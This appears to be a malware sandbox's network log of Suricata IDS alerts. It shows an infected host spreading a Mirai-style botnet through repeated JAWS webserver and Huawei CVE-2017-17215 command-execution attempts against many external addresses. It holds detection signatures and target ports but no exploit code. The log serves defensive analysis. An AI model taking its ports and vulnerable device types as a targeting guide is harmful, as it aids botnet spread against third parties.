Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36618 -> 159.47.73.163:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40266 -> 36.128.111.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42658 -> 72.98.186.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39860 -> 179.41.60.148:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42658 -> 72.98.186.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45088 -> 89.77.49.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38094 -> 77.145.142.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57990 -> 179.139.164.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38094 -> 77.145.142.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57990 -> 179.139.164.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40266 -> 36.128.111.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58750 -> 203.199.224.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58750 -> 203.199.224.170:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44822 -> 24.30.197.102:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58282 -> 41.207.246.186:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44822 -> 24.30.197.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37922 -> 92.13.254.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45478 -> 112.94.207.133:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45656 -> 140.76.241.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45656 -> 140.76.241.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45478 -> 112.94.207.133:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37190 -> 4.207.41.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42318 -> 167.115.243.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42318 -> 167.115.243.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53218 -> 113.28.235.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53218 -> 113.28.235.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37986 -> 133.83.247.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60942 -> 132.243.143.161:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37986 -> 133.83.247.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60942 -> 132.243.143.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38518 -> 205.91.17.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38518 -> 205.91.17.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45088 -> 89.77.49.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47578 -> 13.196.196.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37190 -> 4.207.41.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58042 -> 220.107.18.26:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37922 -> 92.13.254.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40970 -> 134.42.74.112:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45776 -> 201.42.80.185:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45776 -> 201.42.80.185:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47578 -> 13.196.196.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58042 -> 220.107.18.26:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35998 -> 197.6.129.118:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54656 -> 93.254.60.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54656 -> 93.254.60.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40970 -> 134.42.74.112:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53214 -> 65.236.202.115:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53214 -> 65.236.202.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34700 -> 123.143.40.243:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34700 -> 123.143.40.243:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59654 -> 156.214.207.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57150 -> 197.115.231.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59548 -> 197.120.15.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36106 -> 156.86.224.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39918 -> 156.37.11.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45194 -> 197.194.144.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47312 -> 41.184.3.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34314 -> 197.194.225.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42458 -> 156.35.235.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47528 -> 41.250.32.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47878 -> 156.162.252.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51350 -> 156.143.38.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55190 -> 197.132.47.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36238 -> 156.114.213.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33986 -> 156.63.198.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55898 -> 197.102.76.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52672 -> 197.223.193.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43208 -> 41.244.89.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36640 -> 156.85.114.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51678 -> 197.216.4.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47336 -> 197.251.221.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53650 -> 156.12.237.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52042 -> 156.9.37.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43368 -> 197.203.23.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33316 -> 156.188.165.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49640 -> 41.152.245.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40972 -> 41.116.28.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45514 -> 197.59.17.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50122 -> 197.12.39.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41206 -> 156.20.177.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57124 -> 41.135.11.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40818 -> 197.137.99.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46270 -> 41.4.101.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53488 -> 197.205.232.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34432 -> 41.141.218.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34930 -> 41.255.20.86:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57792 -> 50.183.212.32:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35626 -> 156.183.41.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56104 -> 156.109.62.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33738 -> 156.210.68.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33946 -> 156.0.99.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38890 -> 41.210.191.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57274 -> 41.182.215.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41286 -> 197.138.48.81:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33884 -> 143.229.68.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33884 -> 143.229.68.126:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55636 -> 197.209.146.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39692 -> 41.80.180.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38036 -> 41.86.39.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58434 -> 41.44.55.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54892 -> 197.55.121.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37818 -> 156.64.61.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57218 -> 156.103.109.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40116 -> 156.124.60.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46164 -> 41.87.47.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40582 -> 197.90.173.218:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57792 -> 50.183.212.32:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35230 -> 41.97.159.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48390 -> 197.149.109.250:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57970 -> 85.19.189.63:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43664 -> 197.149.227.205:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57970 -> 85.19.189.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43134 -> 72.124.120.20:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50668 -> 197.133.211.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34610 -> 197.202.156.108:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43134 -> 72.124.120.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45648 -> 220.77.138.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45648 -> 220.77.138.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43908 -> 192.171.193.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43908 -> 192.171.193.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33058 -> 168.46.253.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52082 -> 128.238.186.37:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45294 -> 129.161.63.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48038 -> 104.201.153.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52082 -> 128.238.186.37:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33058 -> 168.46.253.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45294 -> 129.161.63.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48038 -> 104.201.153.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36394 -> 213.129.144.154:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46618 -> 24.101.117.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36394 -> 213.129.144.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46618 -> 24.101.117.10:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58094 -> 165.57.79.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40892 -> 162.132.171.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45184 -> 75.15.104.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58094 -> 165.57.79.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40892 -> 162.132.171.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50050 -> 83.202.167.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45616 -> 66.116.195.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45616 -> 66.116.195.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50050 -> 83.202.167.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45184 -> 75.15.104.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37020 -> 24.100.84.87:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43902 -> 41.57.42.235:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37020 -> 24.100.84.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48358 -> 121.166.170.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43660 -> 50.153.197.44:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38614 -> 145.211.196.152:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48358 -> 121.166.170.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43660 -> 50.153.197.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38614 -> 145.211.196.152:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41484 -> 124.56.130.85:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41484 -> 124.56.130.85:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35174 -> 49.234.44.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35174 -> 49.234.44.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40326 -> 193.30.24.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59968 -> 200.45.13.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59968 -> 200.45.13.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40326 -> 193.30.24.101:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47776 -> 41.104.46.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46350 -> 197.69.77.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51038 -> 156.100.177.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39804 -> 156.238.183.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39916 -> 41.70.104.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39240 -> 156.11.199.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38628 -> 41.145.228.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33162 -> 41.104.114.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43022 -> 197.73.153.0:37215
